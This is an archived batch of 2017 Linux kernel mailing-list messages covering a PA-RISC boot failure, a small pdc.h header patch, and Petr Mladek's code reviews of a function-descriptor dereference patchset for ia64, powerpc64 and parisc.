>> Von: John David Anglin <dave.anglin@bell.net>
>> Datum: 28.09.17 15:49 (GMT+01:00)
>> An: Helge Deller <deller@gmx.de>
>> Betreff: v4.14.0-rc1+
>> I tried to boot a v4.14.0-rc1+ build that I did a couple of days ago.  I
>> think the last patch
>> was the parisc merge.  It dies after console switch to ttyS1.  I tried
>> to reset using the RS
>> command but the system locked up completely and I lost console access.
>> Had to pull power
>> plug to reset it.  v4.13.3 booted successfully.
>> Dave
>> -- 
>> John David Anglin  dave.anglin@bell.net
> 

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Sun, 1 Oct 2017 11:02:01 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1506870124 10965 195.159.176.226 (1 Oct 2017 15:02:04 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 1 Oct 2017 15:02:04 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Oct 01 17:01:59 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dyfkk-00065n-J9
	for glpp-linux-parisc@m.gmane.org; Sun, 01 Oct 2017 17:01:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751005AbdJAPCG convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 1 Oct 2017 11:02:06 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:45899 "EHLO
        mtlfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1750965AbdJAPCF (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 1 Oct 2017 11:02:05 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20171001150204.QXQQ11966.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 1 Oct 2017 11:02:04 -0400
Original-Received: from [192.168.2.25] (really [70.54.50.145]) by mtlspm01.bell.net
          with ESMTP
          id <20171001150204.NJPU5856.mtlspm01.bell.net@[192.168.2.25]>;
          Sun, 1 Oct 2017 11:02:04 -0400
In-Reply-To: <20171001114626.GA16118@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=Pe0Qvmpd c=1 sm=0 tr=0 a=1hRIHJrxedDHIGFr3TbrYQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=nLqelL8ZeCGN_gpkq6wA:9 a=CjuIK1q_8ugA:10 a=ATlVsGG5QSsA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27887
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27887>

On 2017-10-01, at 7:46 AM, Tom Bogendoerfer wrote:

> does it have a working graphics card ? 

It's a FireGL T2:
80:00.0 VGA compatible controller: Advanced Micro Devices, Inc. [AMD/ATI] RV350 GL [FireGL T2] (rev 80)

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Avoid include of linux/types.h in pdc.h
Date: Mon, 2 Oct 2017 07:44:24 +0200
Lines: 15
Approved: news@gmane.org
Message-ID: <20171002054424.GA12619@ls3530.fritz.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1506923074 21308 195.159.176.226 (2 Oct 2017 05:44:34 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 2 Oct 2017 05:44:34 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 02 07:44:27 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dytWk-0004JY-Es
	for glpp-linux-parisc@m.gmane.org; Mon, 02 Oct 2017 07:44:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750763AbdJBFoe (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 2 Oct 2017 01:44:34 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:60259 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750760AbdJBFod (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 2 Oct 2017 01:44:33 -0400
Original-Received: from ls3530.fritz.box ([193.159.19.88]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0MexFh-1dekEt38sz-00OTtf; Mon, 02
 Oct 2017 07:44:26 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:yVaw+K+C3semy5SGRaxJhHQtk1T5fmcVMdMWazJYHKaysFGE/HY
 xqwIigyXgVM2n+0dmioUjnRG5nJpvDAke2dHBLwW3KocIfESB9YRVZv07O7T3JRs5GqELab
 2UCmKrfSq03NSUkf98ZNfvfC7IDB/bU9a1CAnAyj+FC278R0ZMHSWKZ5rNriJua8skfoWB0
 VFPv5WSH0y+eHBrWNi3Og==
X-UI-Out-Filterresults: notjunk:1;V01:K0:S++ZGZlPqLU=:qqY4gHg3fLfwry70PM3uN5
 nTLnlDN9swu4uZMej7akrlWhutvcL34a4jMwVVdpSGCc7q+KxuTrvOEhK7/xmQ+iSMoSyuGkn
 zKUtBD+CQLnvH2DIC3hf257yufq5tWjDJFSYu8/dU3P8yExkBnVpONjQdBUEEjXb0Rci6gwvi
 7Zs68SL60h1KAVMShprgjOH8K79EdpT4Y1c2wjXIbneFynx6pgrTIcFwib0J6KkGc/YvmHtDy
 EmyarwNLH1TAiNsq6rYmhbWZNQoASIn/Z9ttmPZO7fgDFQBiF4uugsH0fl8nwXsqwMUzL6xFw
 qNqgxIm0lBnNnBjiGGzmsLqq90LAkR0FE2GDMIYLFlvCPgFF6gGCvN+QZE+ygGtvQxaakUbgk
 fwVTxdCxeXyXyIS2jEIo5FPyKKs8wRv+MQSxcB7aTSiQN7ff9WUgsd9Hc+bzQYQ1mPHlUavOK
 GLmUOQrcPYpOdzuuQD1lqpG7TJBVK2SDPa9AiBaiIN2eiH6njCKWYllHhFgqpzFY6RdpXCmgE
 QZJWPxb5PLvo8k+6hMSjwG3/yHm2qIR8RJLskA5Vh7XTkyLSau+C0Enjho42U/0bxf8Hkon8h
 nDADi6re6xbCWdF2QDuyQRSCrZsD5w7E/4IdkPgXLmdmpLKVGIUzto8D14hQMf6/N4x5ha2X8
 TaA1QGpC0jYyntp7/NYCe6MFMdprwBzLyT2aAPAEE7Lq+ZdaSynyawk4v0oWABbEVTvkxaYQz
 OZsrNNP6/5+QoQeu5Iqc2Bmg298nkDm0VKU32XNsXh3z1BV84ANFtMyQKCSXNSX3jog0c4fF 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27888
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27888>

Make pdc.h more easily reuseable outside of the kernel, e.g. for seabios
and qemu builds.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/pdc.h b/arch/parisc/include/uapi/asm/pdc.h
index 1f30b49772aa..25e85448b252 100644
--- a/arch/parisc/include/uapi/asm/pdc.h
+++ b/arch/parisc/include/uapi/asm/pdc.h
@@ -339,9 +339,6 @@
 
 #if !defined(__ASSEMBLY__)
 
-#include <linux/types.h>
-

From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 1/7] switch dereference_function_descriptor() to
 `unsigned long'
Date: Wed, 4 Oct 2017 10:24:14 +0200
Lines: 80
Approved: news@gmane.org
Message-ID: <20171004082414.GC20084@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-2-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507105461 31814 195.159.176.226 (4 Oct 2017 08:24:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Oct 2017 08:24:21 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Oct 04 10:24:14 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dzeyT-0004G7-96
	for glpi-linux-ia64-2@m.gmane.org; Wed, 04 Oct 2017 10:24:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751755AbdJDIYU (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 4 Oct 2017 04:24:20 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:55999 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751424AbdJDIYS (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 4 Oct 2017 04:24:18 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id B2D73AEFE;
        Wed,  4 Oct 2017 08:24:16 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170930025319.987-2-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28208 gmane.linux.ports.parisc:27889 gmane.linux.ports.ppc64.devel:148538 gmane.linux.kernel:2583466
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28208>

On Sat 2017-09-30 11:53:13, Sergey Senozhatsky wrote:
> Convert dereference_function_descriptor() to accept and return
> `unsigned long'. There will be two new ARCH function for kernel
> and module function pointer dereference, which will work with
> `unsigned long', so the patch unifies interfaces.
> 
> Besides, dereference_function_descriptor() mostly work with
> `unsigned long':
> 
> Convert dereference_function_descriptor() users tree-wide.

I am not sure if this is a real win. If I count correctly,
the net result is 6 additional casts in this patch. Many
casts are still needed also in the other patches.


> diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
> index 2ab2003698ef..de6bfa1ef8fb 100644
> --- a/arch/ia64/include/asm/sections.h
> +++ b/arch/ia64/include/asm/sections.h
> @@ -27,13 +27,13 @@ extern char __start_unwind[], __end_unwind[];
>  extern char __start_ivt_text[], __end_ivt_text[];
>  
>  #undef dereference_function_descriptor
> -static inline void *dereference_function_descriptor(void *ptr)
> +static inline unsigned long dereference_function_descriptor(unsigned long ptr)

I would also expect that a function called "dereference*" would work with
a pointer. The parameter is called ptr but it is unsigned long.

>  {
> -	struct fdesc *desc = ptr;
> +	struct fdesc *desc = (struct fdesc *)ptr;
>  	void *p;
>  
>  	if (!probe_kernel_address(&desc->ip, p))
> -		ptr = p;
> +		ptr = (unsigned long)p;
>  	return ptr;
>  }
>  
> diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
> index 1ca9a2b4239f..06e1b79e2946 100644
> --- a/arch/parisc/mm/init.c
> +++ b/arch/parisc/mm/init.c
> @@ -389,10 +389,10 @@ static void __init setup_bootmem(void)
>  static int __init parisc_text_address(unsigned long vaddr)
>  {
>  	static unsigned long head_ptr __initdata;
> +	unsigned long addr = (unsigned long)&parisc_kernel_start;
>  
>  	if (!head_ptr)
> -		head_ptr = PAGE_MASK & (unsigned long)
> -			dereference_function_descriptor(&parisc_kernel_start);
> +		head_ptr = PAGE_MASK & dereference_function_descriptor(addr);

IMHO, this is harder to read than the original. You need to
search the definition of "addr" and check its manipulation
to understand the meaning.

>  
>  	return core_kernel_text(vaddr) || vaddr == head_ptr;
>  }


To make it clear. All these comments are not a big deal and I do
not want to invalidate all the acked-by and tested-by just because
of them.

But please, consider removing this change if we need to do
another iteration of this patchset. IMHO, there is no real win
and it would just pollute the git history.

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCHv3 2/7] sections: split dereference_function_descriptor()
Date: Wed, 4 Oct 2017 11:00:43 +0200
Lines: 87
Approved: news@gmane.org
Message-ID: <20171004090043.GD20084@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-3-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507107657 5556 195.159.176.226 (4 Oct 2017 09:00:57 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Oct 2017 09:00:57 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 04 11:00:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dzfXo-00009V-Nt
	for glk-linux-kernel-3@m.gmane.org; Wed, 04 Oct 2017 11:00:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752293AbdJDJAu (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 4 Oct 2017 05:00:50 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:36517 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1752268AbdJDJAr (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 4 Oct 2017 05:00:47 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id BD873ABF1;
        Wed,  4 Oct 2017 09:00:44 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170930025319.987-3-sergey.senozhatsky@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2583499 gmane.linux.ports.ia64:28211 gmane.linux.ports.parisc:27890 gmane.linux.ports.ppc64.devel:148545
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2583499>

On Sat 2017-09-30 11:53:14, Sergey Senozhatsky wrote:
> There are two format specifiers to print out a pointer in symbolic
> format: '%pS/%ps' and '%pF/%pf'. On most architectures, the two
> mean exactly the same thing, but some architectures (ia64, ppc64,
> parisc64) use an indirect pointer for C function pointers, where
> the function pointer points to a function descriptor (which in
> turn contains the actual pointer to the code). The '%pF/%pf, when
> used appropriately, automatically does the appropriate function
> descriptor dereference on such architectures.
> 
> The "when used appropriately" part is tricky. Basically this is
> a subtle ABI detail, specific to some platforms, that made it to
> the API level and people can be unaware of it and miss the whole
> "we need to dereference the function" business out. [1] proves
> that point (note that it fixes only '%pF' and '%pS', there might
> be '%pf' and '%ps' cases as well).
> 
> It appears that we can handle everything within the affected
> arches and make '%pS/%ps' smart enough to retire '%pF/%pf'.
> Function descriptors live in .opd elf section and all affected
> arches (ia64, ppc64, parisc64) handle it properly for kernel
> and modules. So we, technically, can decide if the dereference
> is needed by simply looking at the pointer: if it belongs to
> .opd section then we need to dereference it.

Great catch. I really like this approach!

> diff --git a/include/asm-generic/sections.h b/include/asm-generic/sections.h
> index e5da44eddd2f..387f22c41e0d 100644
> --- a/include/asm-generic/sections.h
> +++ b/include/asm-generic/sections.h
> @@ -29,6 +29,7 @@
>   *	__ctors_start, __ctors_end
>   *	__irqentry_text_start, __irqentry_text_end
>   *	__softirqentry_text_start, __softirqentry_text_end
> + *	__start_opd, __end_opd
>   */
>  extern char _text[], _stext[], _etext[];
>  extern char _data[], _sdata[], _edata[];
> @@ -47,12 +48,15 @@ extern char __softirqentry_text_start[], __softirqentry_text_end[];
>  /* Start and end of .ctors section - used for constructor calls. */
>  extern char __ctors_start[], __ctors_end[];
>  
> +/* Start and end of .opd section - used for function descriptors. */
> +extern char __start_opd[], __end_opd[];
> +
>  extern __visible const void __nosave_begin, __nosave_end;
>  
> -/* function descriptor handling (if any).  Override
> - * in asm/sections.h */
> +/* Function descriptor handling (if any).  Override in asm/sections.h */
>  #ifndef dereference_function_descriptor
>  #define dereference_function_descriptor(p) (p)
> +#define dereference_kernel_function_descriptor(p) (p)
>  #endif
>  
>  /* random extra sections (if any).  Override
> diff --git a/include/linux/moduleloader.h b/include/linux/moduleloader.h
> index 4d0cb9bba93e..172904e9cded 100644
> --- a/include/linux/moduleloader.h
> +++ b/include/linux/moduleloader.h
> @@ -85,6 +85,10 @@ void module_arch_cleanup(struct module *mod);
>  /* Any cleanup before freeing mod->module_init */
>  void module_arch_freeing_init(struct module *mod);
>  
> +/* Dereference module function descriptor */
> +unsigned long dereference_module_function_descriptor(struct module *mod,
> +						     unsigned long addr);
> +

The function is used when the module is already loaded. IMHO,
include/linux/module.h would be a better place.

One advantage would be that we could use the same trick
as in include/asm-generic/sections.h. I mean:

#define dereference_module_function_descriptor(mod, addr) (addr)

and redefine it in the three affected
arch/<arch>/include/asm/module.h headers. Then it might be completely
optimized out on all architectures.

Anyway, we need to get ack from Jessica for this change.

Best Regards,
Petr


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 3/7] ia64: Add .opd based function descriptor
 dereference
Date: Wed, 4 Oct 2017 11:05:26 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <20171004090526.GE20084@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-4-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507107939 1046 195.159.176.226 (4 Oct 2017 09:05:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Oct 2017 09:05:39 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Oct 04 11:05:28 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dzfcM-0003zw-8W
	for glpi-linux-ia64-2@m.gmane.org; Wed, 04 Oct 2017 11:05:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751891AbdJDJFd (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 4 Oct 2017 05:05:33 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:38144 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751888AbdJDJFc (ORCPT <rfc822;linux-ia64@vger.kernel.org>);
        Wed, 4 Oct 2017 05:05:32 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id AF25EABF1;
        Wed,  4 Oct 2017 09:05:30 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <20170930025319.987-4-sergey.senozhatsky@gmail.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28212 gmane.linux.ports.parisc:27891 gmane.linux.ports.ppc64.devel:148546 gmane.linux.kernel:2583508
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28212>

On Sat 2017-09-30 11:53:15, Sergey Senozhatsky wrote:
> We are moving towards separate kernel and module function descriptor
> dereference callbacks. This patch enables it for IA64.
> 
> For pointers that belong to the kernel
> -  Added __start_opd and __end_opd pointers, to track the kernel
>    .opd section address range;
> 
> -  Added dereference_kernel_function_descriptor(). Now we
>    will dereference only function pointers that are within
>    [__start_opd, __end_opd];
> 
> For pointers that belong to a module
> -  Added dereference_module_function_descriptor() to handle module
>    function descriptor dereference. Now we will dereference only
>    pointers that are within [module->opd.start, module->opd.end].
> 
> Signed-off-by: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
> Tested-by: Helge Deller <deller@gmx.de> # parisc64
> Tested-by: Santosh Sivaraj <santosh@fossix.org> # powerpc64
> Acked-by: Michael Ellerman <mpe@ellerman.id.au> # powerpc64
> Tested-by: Tony Luck <tony.luck@intel.com> # ia64

Looks good to me.

Reviewed-by: Petr Mladek <pmladek@suse.com>

Best Regards,
Petr
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Petr Mladek <pmladek@suse.com>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [PATCHv3 4/7] powerpc64: Add .opd based function descriptor
 dereference
Date: Wed, 4 Oct 2017 11:21:08 +0200
Lines: 111
Approved: news@gmane.org
Message-ID: <20171004092108.GF20084@pathway.suse.cz>
References: <20170930025319.987-1-sergey.senozhatsky@gmail.com>
 <20170930025319.987-5-sergey.senozhatsky@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507108877 29744 195.159.176.226 (4 Oct 2017 09:21:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 4 Oct 2017 09:21:17 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: Steven Rostedt <rostedt@goodmis.org>,
        Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        Michael Ellerman <mpe@ellerman.id.au>,
        James Bottomley <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Andrew Morton <akpm@linux-foundation.org>,
        Jessica Yu <jeyu@kernel.org>,
        Alexei Starovoitov <ast@kernel.org>,
        linux-ia64@vger.kernel.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-kernel@vger.kernel.org
To: Sergey Senozhatsky <sergey.senozhatsky@gmail.com>
Original-X-From: linux-ia64-owner@vger.kernel.org Wed Oct 04 11:21:12 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1dzfrU-0005Q7-Qq
	for glpi-linux-ia64-2@m.gmane.org; Wed, 04 Oct 2017 11:21:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751174AbdJDJVM (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Wed, 4 Oct 2017 05:21:12 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:42723 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
